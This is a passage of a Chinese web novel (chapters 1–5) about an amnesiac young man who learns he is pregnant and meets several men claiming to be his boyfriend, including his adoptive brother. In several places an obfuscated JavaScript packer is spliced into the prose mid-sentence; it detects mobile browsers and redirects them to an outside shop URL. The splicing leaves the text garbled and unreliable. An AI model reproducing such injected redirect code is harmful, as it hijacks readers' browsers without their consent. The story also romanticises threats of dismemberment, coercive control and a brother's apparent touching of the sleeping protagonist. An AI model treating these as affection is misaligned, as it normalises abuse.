《失忆后多了三个男朋友》 1. 第 1 章 谢清从病床上缓缓睁开眼睛,日光照进琥珀色的瞳仁,这双琉璃珠子一样的眼睛折射出迷茫的色彩。 他的脸色略显苍白,嘴唇也因长时间沉睡而干燥。为了适应光线,他眯起眼睛,纤细的睫毛轻微颤动,整个人像只被洗净晾干的布娃娃。 随着意识逐步恢复,他开始感觉浑身酸痛。 动了动手指,没能完全找回知觉,手就被一个人握住了。 病床边,一个西装革履的陌生男人脸上满是惊喜:“宝宝,你终于醒了!”随后男人迅速按铃叫来了医生。 谢清脑子有点混沌,他记得昨晚自己只是在酒吧喝酒,玩到后半夜被哥哥催命似的未接电话吓清醒了,拨回去,听筒里是哥哥一贯冷冰冰的腔调,质问:“地址。” 不出半小时,他就灰溜溜地被家里派来的保镖塞进了车。 后面的事怎么都想不起来,这还是他第一次喝断片。 不过为什么现在是在医院? 谢清这时候才察觉自己被人紧紧攥着右手,他有些好奇地看向床边的陌生男人。 是家里新雇的保镖吗? 傻里傻气的。 没一会儿医生进来了,在他身体几处按了按询问他疼不疼,又简单确认了几个问题,水性笔在病历本上唰唰留下记录。 谢清浑身上下只有脑壳疼。 “检查报告也出来了,没什么大问题,不需要住院。”医生对着那个陌生男人说。 随后医生支开了身边的护士,关上门,抽出一张b超单递给谢清。 “你怀孕了。” 什么? 谢清刚刚在男人的帮扶下撑坐起来,靠着雪白松软的枕头,后背陷进去,身体还没放松下来,就紧绷住了。 怕不是酒劲还没过,出现了幻听。 “医生你说什么??”旁边的男人比他反应还大。 医生顶着一双死鱼眼面无表情对着男人重复:“他怀孕了。” 陌生男人不可置信地夺过b超单,表情像极了谢清在考场上看到高数卷子。 谢清掀开被子低头确认了一下。 没错,活了二十年,性别应该不是误会。 “男的怎么会怀孕??”陌生男人简直就是他的嘴替,替他问出心声。 他都怀疑现在兴许是在做梦了,他做梦时自己从不说话,周围人也会按照他的意愿将剧情进行下去。 心理学家说梦反应人的潜意识,难道他其实很渴望怀孕? 老天鹅啊,他连恋爱都没正经谈过一个呢,怎么会渴望这种事。 陌生男人和医生争执间,谢清环顾四周,发现了旁边桌子上摆着一个台历。 页面落在xx年7月。 等一下,今年明明是xx的前一年吧!再断片,这也绝无可能记错。 谢清上下翻找手机,找不到,只好打断医生和傻男人的对话。 他拽拽傻男人的外套袖子:“你看见我手机了吗?” 傻男人立刻撇下医生,重新捧起他的手:“宝宝,你手机在车祸时被碾碎了。” 男人心有余悸地说:“……幸好你人没事,想想真后怕。” “你叫我什么?”谢清用有些稀奇怪异的眼神看着他,“说起来,你到底是谁啊?” 话音一落,傻男人和医生都凝固住了,片刻后他们互相对视一眼。 男人抖着嗓子问他:“宝宝,今年是哪年?” “我正想问呢,不是xx年吗?”谢清反应明显是有些迟钝的,“等一下,等等等一下,你刚才说啥,车祸?” 医生已经拨通内线吩咐:“64床病人安排脑部CT。” 挂了电话,三个男人大眼瞪小眼,脸色一个赛一个的难看。 傻男人率先调整好了心态,他这次双手握住了谢清的右手:“宝宝……我是你男朋友,你还记得吗?秦屿。”他指了指自己。 谢清露出迷茫万分的表情。 男朋友?这个叫秦屿的傻男人吗? 不像他喜欢的类型啊,虽然脸长得不错,穿着西装打着领带颇有几分制服禁欲系的味道,但他还是更喜欢高冷精英范儿一点的。 只要傻男人不开口就还像回事。 只要他不开口。 “呜,宝宝……你真的不记得我了?”秦屿眼含热泪,“那些年的情爱与时光终究是……” “秦先生我打断一下。”医生说,“病房内也禁止喧哗。” 秦屿从西装内衬抽出一张支票:“请你出去,给我和男朋友一点私人时间。” 医生拿着支票头也不回地走了。 谢清迫切的需要攫取一点正经信息。他注意到台历底下还压了本杂志,抽出来一看,是一本商业周刊,他哥办公室也有订的,本期封面赫然就是眼前的男人。 如出一辙的西装打扮,成功人士的微笑,刻意举起的手臂,腕间不经意露出的百万名表,无一不彰显男人的身份。 谢清猛一下想起来秦屿这名儿为何这么耳熟了,秦屿?不就是东城秦家的二公子吗? 他的记忆果然有缺口,他印象里,秦家二公子分明还没子承父业,走上商业舞台呢。 秦屿和传闻中有点不太一样,这个男人现在深情款款捧着自己的手,声音都带着哽咽:“宝宝,你别怕,身为你最爱最信任的男朋友,我一定会陪伴你,保护你,帮助你早日恢复记忆,尽快融入正常生活的。” 这么靠谱? 谢清稍微有些触动:“谢谢你。” 虽然不知道失去记忆的一年,他是怎么和男人相知相爱的,但照这样看,自己眼光还可以哈,患难见真情,这不,秦屿真情满满。 谢清终于从紧张中缓回点劲儿,舔舔干燥的嘴皮,看见自己亲手买的茄子墩墩杯就放在桌案,想也不想拿起来喝水。 秦屿顺着他的动作看到了刚才随手撂下的b超单,表情产生了片刻扭曲:“但有件事,孩子不是我的。” 谢清一口凉白开还没咽下去,就尽数喷到了男朋友脸上。 “孩子的爹是谁?”秦屿眯着眼睛问他,睫毛在脸上打下一片阴翳。先前的傻气仿佛都是错觉。 “我怎么知道!我还想问呢!” 谢清不肯相信自己真的可以怀孕,不,比起这个,他更难以相信,自己为什么会和不是男朋友的男人……? 看秦屿起初的态度,他俩也不像感情破裂啊。 因为失忆而理气直壮的“出轨”人和陌生男友互相瞪着僵持了一分钟。 “……一定是我没有保护好你,让陌生人把你骗了。” 秦屿深呼吸一口气,下了论断,接着也不容谢清疑惑:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173511|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的感情一直都很好,你很爱我,我也很爱你,我们都到谈婚论嫁阶段了,绝对没有第三者插足,既然现在你也忘了,那么,你就当是我的种就行了。” 他抬起手摸了摸谢清柔软的头发,手劲没控制住,扯痛了谢清。 谢清有点害怕,刚刚在他面前的还是个阳光憨傻大帅哥呢,他不确定自己是不是真的会笨到被骗色,但也真的对任何可疑的暧昧对象都没有印象,包括秦屿。 这事要是叫爸爸和哥哥知道了,会打断他的腿的。 眼下能依赖的似乎只有深情的男友。 谢清勉强挤出一个笑:“亲爱的,这事你可千万别告诉我家里人。” 秦屿眼神微动:“当然了,宝宝,失忆的事我也不会说的,免得你那个控制狂哥哥又要把你抓回家关起来。” 谢清明显愣住了,控制狂?抓回家?关起来?!好小众的词汇,这说的是谢呈冰吗?还是哪个被他一时忘记的野生哥? 好吧他承认谢呈冰有时候确实死板了一点,总搬出家规来,把他当小孩子一样管,但也远远称不上控制狂,更不可能关他啊。 秦屿想起他失忆,眸光闪烁了几下:“宝宝你真的不记得了?也好,你只要记得,别把失忆的事告诉你哥,别联系他,知道了吗?” 谢清虽然满腹疑惑,但不想惹男朋友不快,便先答应下来。 他希望自己能早点恢复记忆,才好不依赖这个陌生男友。 “亲爱的,你能给我说说我们是怎么……” 秦屿的电话打断了谢清,男人看了眼来电显示,犹豫了下还是接了起来,眼神示意谢清稍等。 他出去病房外,讲了有十来分钟,回来以后十分抱歉地摸了摸谢清的脸颊:“宝宝,我手上有个项目出问题了,必须得回公司一趟,晚点再来看你,你现在暂时没地方去,我会让医生给你办住院的,乖乖等我回来不要乱跑,知道吗?” 为什么没地方去?他有家啊。 秦屿俯身想吻别谢清,可谢清全无亲密记忆,下意识躲了过去,随即表情有点尴尬。 好在秦屿能够理解,体贴地笑着:“那我先走了。” 直到转过身去,才露出失落的表情。 秦屿一走,谢清就跳下病床,结果脑袋剧烈晕眩,又不得不老实躺回去,茫然地看着病房天花板。 他没记忆,没手机,这个医院也不熟悉,留给他的谜团一大堆,根本不知道现在要怎么办。 就听秦屿的,乖乖睡觉等他回来么? 谢清叹了口气,顺手摸过桌子上那本商业杂志,突然注意到被手指按住的一行小标题。 「谢氏养子失踪?神仙兄弟也逃不过的豪门遗产纠纷」 谢清手一抖,杂志摔到了脸上,砸的他鼻子一酸。 恰在这时,门把手被人扭动,一道人影以肉眼难辨的速度飞快钻进病房,又迅速拿背抵住门。 医院走廊有一阵短暂的骚动,似乎是有好几个人跑过去的声音。 进来的人鸭舌帽、口罩、墨镜全副武装,耳朵贴在门上听了一会儿,才摘下遮挡缓缓朝病床走来。 “你果然在这儿。” 谢清一瞬睁大了眼睛,男人嘴角挂着危险的笑容,一步步来到他身边,双手猛地撑在他两边,语调像唱歌一样愉悦:“这下往哪儿逃?” 2. 第 2 章 男人的音色非常优越,这么近的距离附在谢清耳朵边讲话,谢清耳朵瞬间就红了。 眼前的一排耳钉晃的谢清眼睛花,其中一颗是个银色的爱心。谢清蓦然认出了这个人。 这不是连忆心吗?! 乐队主唱出道,现在是独立音乐人,风格以清纯圣洁闻名,连续三年横扫小学生最爱的音乐软件排行榜前三。 谢清不想承认,他和当代小学生品味出奇一致,也还挺喜欢连忆心的。 他卧室还悄悄收着连忆心的海报、专辑和应援周边呢。 他理解了连忆心从进门到现在的诸多奇怪举动,看来这医院并不是精神病院,连忆心一定是在躲狗仔,当红艺人嘛,理解。 谢清推开他坐起来,眼睛亮晶晶的:“是你啊偶像!” “你怎么跑来医院啦?天呐我好幸运,抢不上演唱会的票居然也能见到本人!”谢清顺手拿起杂志,“偶像你能不能给我签个——” “好啊,你又在想秦屿那狗东西是不是?”连忆心劈手夺过了他手里的杂志,“哧啦”一声就把封面撕了。 秦屿那张英俊帅气的精英脸没几下就被手动碎成了雪花。 网上说的果然没错,艺人私底下脾气都火爆。 虽然性格和想象有点出入,但没关系,谢清粉的是才华。 谢清同情地拍了拍连忆心的肩:“偶像你别激动,压力很大吗?要不要坐下喝口水?你和秦屿有仇?” 连忆心阴晴不定地打量着谢清:“看在你住院的份上,这次不跟你算账了。别再在我面前提别的男人的名字。” “啊?哦。” 连忆心一屁股坐在他旁边,眼神从空荡荡的病号服领口望进去,阴翳的神情收敛了,取而代之的是一种堪称不合理的慈怜。他伸手抚摸谢清的脸颊,那种摩挲的方式让谢清一下子起了鸡皮疙瘩,升起一股奇怪的预感。 “宝宝,怎么变得这么憔悴,到底出什么事了?你手机呢,给你打电话一直打不通。” 谢清脑子里闪过无数个的问号,怎么也叫我宝宝?虽然很开心啦,但他不会是认错人了吧?还是说记忆空白的一年里,时代称呼发生了变迁? 现在流行见谁都叫宝宝吗? 谢清慢吞吞地思考着,琥珀色的眼珠下意识直勾勾盯着偶像,想多看几眼,看个够本:“是这样的,听说我出了车祸。” “车祸?!”连忆心大惊失色,立刻掀开被子要检查谢清的身体。 谢清连忙解释自己什么事都没有,也就腿上有些破皮,胳膊上有点擦伤,说不定只是被自行车撞了一下呢。 连忆心还是执意看了伤口,发现的确如他所说,才拍了拍胸脯:“幸好你人没事,那现在还有哪里不舒服吗?” 谢清指指脑袋。 “头疼?”连忆心凑过来一些,心疼的摸了摸他的后脑勺,揉了一会儿,手掌顺势滑到谢清后颈,气氛开始变得暧昧,连忆心眼看要把嘴唇也贴过来。 谢清吓了一跳,仓皇后仰:“你、你也是我男朋友?” “也?”连忆心的动作蓦然顿住,眼中的柔情瞬间不复存在,阴鸷地盯死了他,“宝宝,我有没有警告过你,要是敢出轨,我就把你吊在地下室亲手分尸,一把火烧干净,骨灰再拿去喂狗。” “……” 谢清刚下去的鸡皮疙瘩又上来了,默默吞咽了一下,消化着这个有点难以消化的信息。 哈哈,谁说内娱没活人啦,他偶像这不挺幽默挺敢说的吗? 半晌谢清僵硬地笑起来:“我怎么会出轨呢宝宝,瞧你,崩人设了。” 出于记忆中的自保意识,他怯怯地伸手拉了下连忆心的手,连忆心的脸色立刻多云转晴,笑得一如电视里清纯圣洁的小天使:“嗯,我相信宝宝。” 谢清顿时有种劫后余生的感觉。 但他还没放松下来,二号男友就坐得更近了一些,手钻进被子,亲密地抚摸着他的身体:“宝宝有没有想我啊?” 谢清有一瞬间真的想回答:你要不问问我肚子里的真宝宝。 忽然他一个激灵,按住了连忆心的手。 连忆心吃吃一笑:“又在害羞?” “不是,我问你,”谢清想到了一个可能性,难不成肚子里种就是这位的? “你问呀。”连忆心抓起他的手放在唇边吻了一下,笑得人畜无害的。 问题到嘴边谢清卡住了,怎么问?万一不是呢?而且他不太想把失忆的事情告诉眼前的男人,因为挺没安全感的。 秦屿好歹一身正气,连忆心长得就像要骗他的人。 他闭上眼睛假借头疼想了一会儿:“我想问你的是……你不知道我出车祸,又是怎么找来这个医院的?” 连忆心奇怪地看他一眼:“不是你和我说你今天要来这里做检查吗,我联系不上你,自然想到这里了。” “咦?啊……对哦,哈哈哈……” 谢清心如擂鼓,该死的车祸,撞他就算了,干嘛把他命根子——手机给碾碎啊!害他什么都无法查证。 连忆心看了谢清一会儿,笑道:“宝宝现在真乖,早知道出车祸就会变乖,我早该帮你安排车祸。” 谢清瞬间吓得面无血色,连忆心仿佛不知道自己说了什么似的,摸了摸他的脸:“怎么这副表情,我开玩笑的,我怎么舍得让你受伤呢?谁让你受的伤,我才让谁出这个车祸。” “不、不用了,是我撞的车,不是车主的责任。” “乱说。”连忆心捏了捏他的脸,“宝宝就是太善良了,才总是和那些讨人厌的家伙断不干净。” 「那些」? ……哪些啊。 连忆心忽然圈住了他,把头埋到他肩上:“糟糕,阿清现在太可爱了,好想把你绑起来亲晕过去。”他抬起头来,一脸天真无邪,“什么时候出院呢?去我家吧。” 谢清冷汗直流,他到底在哪儿招惹了这么个祖宗啊! 他哥老说他半点没有艺术鉴赏能力,他现在肯承认了,什么清纯才子,根本就是大恐龙。 谢清支支吾吾想找个借口,这时候有人神兵天降,在门口敲了敲病房门。 太及时了,谢清立刻高喊:“进来!” 连忆心不太高兴,又不得不迅速起身,把口罩墨镜重新戴回去。 进来了一个至少一米九的魁梧男人,捧着一把康乃馨与玫瑰混搭,男人放低了花束,露出了线条粗犷的脸庞,小麦色的皮肤看上去很健康,但脸上有道醒目的刀疤,从额头一侧斜着划过,隐没在鬓角。 他如同一座行走的山岳,给人一种难以言喻的压迫感。 谢清却突然眼前一亮,这不是宋岩吗!他爸的贴身保镖。 他马上招招手:“宋岩。” 连忆心脸色却拉了下来:“谁让你进来的,滚出去。” 宋岩看都不看大明星,径直走到窗边把花束搁下,才转过来问谢清:“小少爷怎么这么憔悴?” “跟你说话没听见吗?我叫你滚出去。” 连忆心站了起来,冷冰冰看着宋岩。 宋岩只是平静地站在那里:“你是什么东西?” 谢清见势不对,匆忙拉住了连忆心:“宝宝,外面还有狗仔,你不要冲动。要不你先回去吧,我头好疼想休息了,晚点再联系你。” “什么意思,赶我走?” “不是,我是真的头好疼,”谢清捂住了脑袋,“我怕一会儿媒体或者你粉丝冲进来,就更休息不了了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宋家虽然是谢氏的专职保镖,但只有谢清没有配备贴身保镖,按说也不是宋岩的责任。谢清看他这么关心自己,弯起眼睛笑了:“没事的,除了头疼没别的了。说起来你也不知道我出车祸,却来医院看我,也是我告诉你的?” 宋岩颔首,神情好像有一丝古怪,侧过身看着角落:“检查结果如何?” 想到那个怀孕的消息,谢清像吞苍蝇一样难受,扭曲着脸说:“没什么,现在是爸爸叫你来接我回家吗?” 宋岩猛的转头,表情错愕。 “怎么了?我说错什么了?”谢清莫名其妙。 “……你失忆了?”宋岩难以置信地问。 轮到谢清发怔,宋岩是怎么凭借这短短一句话猜出来的?他不就是问了下爸爸……爸爸…… 谢清骤然按住额头,冷汗唰地就下来了,几个片段像走马灯一样在脑海闪现。 谢氏养子失踪……豪门……遗产? 遗产?! 谢清两眼一黑就栽倒下去,宋岩一个箭步冲上来接住了他,狂掐他的人中:“小少爷?宝宝,宝宝你怎么了?” “医生!!” 他要伸手去按床边的呼叫铃,手臂被谢清缓缓抬起的手按住,苍白的手背搭在小麦色的肌肤上,呈现出一种惊心的脆弱。 宋岩几乎是下一秒就反手握住了他的手:“你还好吗?” “没事,只是想起来了点东西。”谢清脸色更白了,嘴唇也轻轻颤抖着,“爸爸死了?” 宋岩艰难地点了下头,随即更艰难地问:“所以,你记忆停留在一年前?” 这是瞒不住了的,谢清点点头。 宋岩脸色风云变幻:“那我们……关于我,你也不记得了?” 3. 第 3 章 谢清摇了摇头。 宋岩脸上的血色瞬间就消退下去,低着头闭了好一会儿眼睛,复才睁开:“那连忆心是怎么回事,你和他复合了?” “复合?”谢清讶然,“原来他不是我男朋友?” “当然不是。”宋岩表情很不好看。 “我不记得……我根本不认识他,我对他就是粉丝对偶像的喜欢,刚才还有点幻灭。”谢清心中一片混乱,“那,那秦屿呢?他是我男朋友吗?” “你独独记得秦屿?”宋岩握着他的手不觉用力。 谢清皱了下眉:“不是,我醒来他就在医院了,他说是我男朋友。” “他们都是骗子。”宋岩及时捉住他的手腕不让他抽走,替他揉了揉手背。 “我只记得你。”谢清弯下头打量宋岩低垂的眼睛,看了会儿,轻轻笑了,“总觉得很喜欢你。” 揉手的动作一顿。 这是谢清今天第二遍说这句话,第一次宋岩以为又是平常的把戏,可这次含义大为不同,宋岩心脏砰砰跳动起来,神情复杂地看向谢清。 “我给你买了花。”他回以很不真实的一笑,借着拿花的名义迅速起身走到窗边。 从谢清的角度,可以看见他背对自己低着头,一直盯着花也不知道在想什么,过了几分钟,才面色寻常地转回来:“喜欢吗?” 谢清挑了一朵玫瑰抽出来,放在鼻尖嗅了嗅,思维随着花香开始漫无边际的飘散。 送他玫瑰,刚才没听错的话,还叫他宝宝了,难道宋岩才是他男朋友? 但是不可能啊,宋家家风有多严,宋岩的父亲又对谢老爷子有多忠心,两家世代都是主仆关系,从无通婚的传统。主要还是宋家的家规,严令禁止底下保镖去勾搭主人,一旦发现是要逐出家门的。 宋家非常注重家门名誉,逐出家门不是一件小事,保镖这个职业在许多外人来看虽然低微,但宋岩本人非常爱惜这个身份,也以守护为荣。 谢清不用问都知道,肚子里的孽种也不可能和宋岩有关,他是个无比正直忠心的人,甚至到了愚忠的地步。 可是这样一来,孩子他爹究竟是谁呢? 不会真是秦屿猜的,他被陌生人玩弄了吧。 谢清忽然感觉身体一阵不适,他晃了晃玫瑰花枝,朝宋岩勾手。 “亲爱的,你过来一点。” 宋岩坐过来,理所当然搂住了他。 “虽然记忆不在了,但感觉骗不了人,我们之间肯定有什么吧?”谢清说,“我想知道,我们的关系到哪一步了?” 宋岩犹豫片刻,亮出了左手,无名指上戴着一枚朴素的银戒。 谢清愣住了。 什么意思?他们俩私下都互许终身了?不得了不得了,虽然他对宋岩挺有好感的,可是拜记忆缺失所赐,也还不到那种程度啊。 慌张之下他又捡起紫茄子水杯。 只听宋岩说:“我没想到你是……真的喜欢我。我就快离婚了,那之后,我们就能没有阻碍的在一起。” “噗——” 谢清呛了水,还失手摔落了水杯,水渍浸湿了被子,宋岩眼疾手快接住了差点滚落床下的杯子,脸上还滴着水。 “对不起对不起……”谢清赶紧提起被角给他擦脸。 宋岩搁下水杯站了起来,沉默了一会儿:“我知道你需要时间接受。” 他自己也沉默下来,转头看向窗外,安静了许久,他才说:“知道你没事就行,我得走了。” 咦? 这么主动就要走吗? 也对,宋岩应该不能擅离职守太久,爸爸离开了,那么他现在应该是跟着哥哥吧。 谢清有些奇怪:“不接我回家吗?” 宋岩足尖一顿:“你要回家?” 随即他想起来谢清是失忆了,眉毛都拧在了一起,眼神又飘到了角落。 “我为什么不回家?”谢清有点心慌,“什么意思?你说清楚。” “没什么。”宋岩低声自语一样的说了句,“早回去早结束……这很好。” 谢清陷在自己的情绪里,也顾不上他说什么,今天来看他的三个男人全都很古怪,哪怕是他最有好感的宋岩也一样。 没有可以信任的人,他要找哥哥商量,只有哥哥靠得住。 “宋岩,手机借我,我要给哥哥打电话。” 宋岩的反应好像突然变得很慢:“你要给大少爷打电话?” “对啊,快给我。” 宋岩迟迟没有掏出手机,谢清催了好几遍,他才哑声道:“我去给你买一只新的,别用我的打,也别告诉他我今天来过。” 谢清愣了一下,随即表示理解:“哦。” 他和宋岩果然是地下情啊。 宋岩花了二十分钟就从医院对面的营业厅买了一只某品牌最新款,交到谢清手上的时候,又问了一遍:“你确定你要给他打电话?” “当然……了。”谢清被他问的都有点不确定了。 “好。”宋岩低着头,把自己站成了一棵寒松,等谢清开始播号码的时候,他头也不回转身:“我走了。” 谢清下意识想挽留他,但电话已经接通了。 “您好,哪位?”淡漠疏离的声音,公事公办的态度,是他那古板大哥没有错。 一听到哥哥的声音谢清就委屈地差点哭出来:“哥,是我。” 电话那端传来衣料摩擦的杂音,手机似乎也经受了晃动,很快谢呈冰的声音贴得更近了,也有了温度:“谢清。” 谢清吸了下鼻子,谢呈冰敏锐察觉到他的心情:“出什么事了?” “哥,我在医院,你来接我好不好?我想回家。” 谢呈冰呼吸快了几分:“你想通了?” 谢清纠结了一会儿,还是决定如实相告:“哥,我出了点小意外,失忆了。” 他把今天一觉醒来,发现记忆停留在去年,并且来了两个都自称男友的人的事和盘托出,独独隐去了宋岩。 “我不记得他们,那个秦屿满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢呈冰给了医生一个眼神,对方迅速看了谢清一眼,低头离开了病房。 就只剩下兄弟二人,谢清看到哥哥委屈又涌上来了,“哇呜”一声扑进谢呈冰怀里。 谢呈冰言简意赅:“和他们分手。” 谢清连连点头,按宋岩说的,他和他们压根也没谈! 就算谈了,不认识的男友和哥哥孰轻孰重,根本无需犹豫。 谢呈冰见弟弟同意地这样快,哄人的动作愈发温柔。 谢清被哄了好一会儿终于不哭了,离开哥哥怀抱时发现谢呈冰西装上被他蹭了好大一片泪渍,后知后觉地感到丢人。 他别过脑袋,口干舌燥地去找水杯,里面是新接的热水,他拿起来就开始豪饮。 没成想谢呈冰下一句话是:“孩子是我的。” “噗——!咳咳咳……” 谢清心神俱震,呛的是惊天动地。 4. 第 4 章 谢呈冰上前一步,打算替弟弟拍一拍背,谢清边咳边骇然退后,整个人头皮发麻,两腿一软就跌回了病床里。 “哥,你,你是在开玩笑对吧?” 谢呈冰沉默地看着他。 谢清的心瞬间如坠谷底,脸色惨白。 “为什么?我们怎么可以?你是我哥啊!” “我们没有血缘关系。”谢呈冰说,“你不喜欢哥哥吗?” “那怎么一样!”谢清害怕的提高了声音,几乎是尖叫出来的,现在的哥哥让他觉得很陌生。 记忆空白的一年,究竟是发生了什么啊?! “我们这样……是要天打雷劈的!” 谢呈冰静静看着谢清倍受打击的模样,拳头紧了又松。他深呼吸了一口气,不形于色的脸上泄露出一丝苦笑:“就算失去记忆,你也还是要这么说……” 再张开眼睛时,他已经恢复了镇定:“别抖了,我开玩笑的。” 谢清怔怔看着哥哥。谢呈冰掏出手帕,走上前替他擦了擦额角的冷汗:“惩罚你不听话乱跑,吓吓你而已。” 谢清刹那间放松瘫软了下来:“我就说……哥你的幽默感真是……玩笑开得好下次别开了。” 谢呈冰借着抽烟的名义出去了,谢清坐在病床上还有些发怔,他哥什么时候有烟瘾了?爸爸在世时家教严明,是不许他们沾染酒精和尼古丁的。 谢清独自坐在房间里,摆弄了一会儿全新空白的手机,半根烟的功夫他哥就回来了。 谢清站起来:“哥,我想过了,孩子我不想要,也懒得去找孩子爹是谁了,你陪我把他打了好吗?” 谢呈冰说:“我刚才问过医生,医生说男人怀孕孩子的位置很特殊,打不了,容易一尸两命。” “哈?!”谢清一个头两个大,“这真不是庸医吗?” 他原地焦虑地踱了会儿步:“那哥你带我去更好的医院,找更厉害的大夫,国内没有就去国外找,总有办法的吧?!” 谢呈冰上前安抚他:“别怕,医生说了只是初期引流风险大,在家好好休养几个月再来医院看,说不定就可以了。” “什么鬼话??哥你也信?”谢清就算没有女人的生育经验,也有基本常识,怀胎十月,回家等几个月胎形都稳固了,只听说过大月引产风险高,没听过反过来的! 谢呈冰低头沉思了一阵,改口:“一个月,休养一个月就可以了,那时候引产最安全,男人就是不太一样的,好了,回家吧。” 这话要是连忆心跟他说的,谢清百分百怀疑这是对方想把他留在地下室分尸的阴谋,是想禁锢他的自由,好挫骨扬灰拿去喂狗。但既然是哥哥说的,他也不得不信了。 “等一个月,真的就可以打掉了?”他反复向哥哥确认。 “嗯,必须要老实待在家里少出去走动,少和不必要的人往来,保持身心平静。” “好吧……”他现在也没有欲望去外面浪。 谢呈冰很快办好了出院手续,离开医院前,谢清拽住他哥,纠结地问出一句:“你说我要不要去检查一下,那里有没有得病。” 他往下看了一眼。 失去了记忆,多了三个男朋友,一个父亲未知的野种,他很难不多想。 谢呈冰脸色沉了下来:“不用,你干净得很,没病。” “可是在你不知道的时候,说不定我……” “你没病,我确定。” 谢呈冰现在就是谢清的主心骨,谢清点点头,乖乖说:“那好吧。” 医院门口,有辆救护车上运来一个昏迷不醒的老人,病人家属边跑边哭,与他们擦肩而过。 谢清回头看了一眼,脚步慢慢停下了,有些发怔。片刻后他不禁再次拽住了哥哥:“爸爸是什么时候走的?” 谢呈冰说了一个日期,谢清不是太意外,爸爸原本就有疾病在身,又过度操劳,好几次说了想下去陪妈妈的话。 但谢清还是有点难过,谢呈冰摸了摸他的头:“要去看一眼爸吗?” 谢清点头。 于是车子转向,去了私人墓地。 谢呈冰告诉谢清,他们一起来送过父亲,只是谢清现在忘了。 谢清又哭了一次,谢呈冰拉着他的手站在父亲墓前说:“爸,对不起。我没有、也不打算照你的遗愿生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173514|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但你放心,我会照顾谢清一辈子的。” 谢清一时连哭也忘记了:“什么遗愿?” “没什么。” 他哥不愿意说,谢清知道自己只是谢家养子,和亲生的终究不一样,既然是他们亲父子的秘密,那就算了。 他也对着父亲的照片说:“爸你放心,我也会照顾好哥哥的。” 谢呈冰轻轻笑了。 后来天上开始下小雨,侯在车前的三个保镖举着伞过来了一个。 “大少爷。”那保镖一出声,谢清才看了他一眼,发觉是宋岩。 宋岩替谢清拉开车门,趁着谢呈冰不注意,用拇指拭去谢清眼下的泪痕,低声说:“哭花了,小猫。” 粗粝的指腹摩挲过谢清细嫩的皮肤,银戒刮过耳廓,谢清似嗔非嗔地瞪了他一眼,然后手心里被塞了个什么扎手的玩意儿。 坐上车后,谢清摊开掌心,发现是一颗糖果,很普通的玻璃纸包装,还是他讨厌的薄荷味。 他把糖剥开含在口中,辣的他眉头皱了一下,但记忆突然有了个小开口,他想起来,好像父亲下葬那天,他也这么被宋岩安慰过,塞了一颗相同的糖果。 谢清透过玻璃窗看向外面,雨幕中宋岩也看着他,但这是单向玻璃,外面看不见里面,谢清冲他做了个鬼脸,用口型说:“胆子真大。” 宋岩好像是提了下唇角。 劣质薄荷糖的辛辣在口腔中弥漫,谢清靠着靠枕闭上眼睛,不知不觉就睡了过去。 醒来时他感觉嘴唇湿湿的,胸口两处也有点异样,有些慌张地抚平了一下,心里惧怕这是怀孕带来的变化。 他坐起身子看了旁边的哥哥一眼,谢呈冰目视前方仪态端庄,好像上了车就没动过。 谢清摸了摸嘴巴,尴尬地问:“哥我没流口水吧。” “嗯。”谢呈冰声音有点干哑,“下次别乱买廉价的薄荷糖了。” “哦。” 一直等回了家,谢清才突然想起要问,他哥怎么知道他吃了薄荷糖的? 是气味太重了吗? 但他哥已经大步流星地进了书房,门一锁,说不上话了。 5. 第 5 章 连续两个晚上谢清都是跑进哥哥卧室睡觉的。 对于自身怪物的认知和记忆的缺失令他非常不安,加上总是想起在医院看到的那本商刊,脑补一些有的没的,他迫切需要确认哥哥没有变,还把他当最疼爱的弟弟。 可谢呈冰总是拒绝他,第一次的理由是:“都是大人了,怎么还要别人哄睡?” 谢清不依不饶挤上哥哥的床,表演了一个秒睡。一觉起来身边空空荡荡,被子整齐叠放,床单平展冰凉。 谢清光着脚就跑下了楼,在小阳台找到正在处理财务报表的他哥:“哥,是不是我昨晚睡姿太差了啊?” 谢呈冰皱了下眉,把他抱到沙发上,给他套上拖鞋:“当心着凉。” 谢清立刻撒娇:“哥背我上去,我睡个回笼觉。” 谢呈冰予取予求,可到了晚上,直接把卧室门给反锁了。 谢清拖着一只大白兔子公仔边拍门边哭:“哥,我一个人睡不着。” “哥我今天抱兔子不抱你,肯定老实。” “哥,我头疼。” “哥,我孕吐,那野种踢我。” “呕——” 谢呈冰面无表情地拉开了门,谢清慌忙掏出水喷雾,背过身往自己脸上喷了两下,可怜兮兮转回来。 谢呈冰:“孩子脚都没长出来,拿什么踢你?” 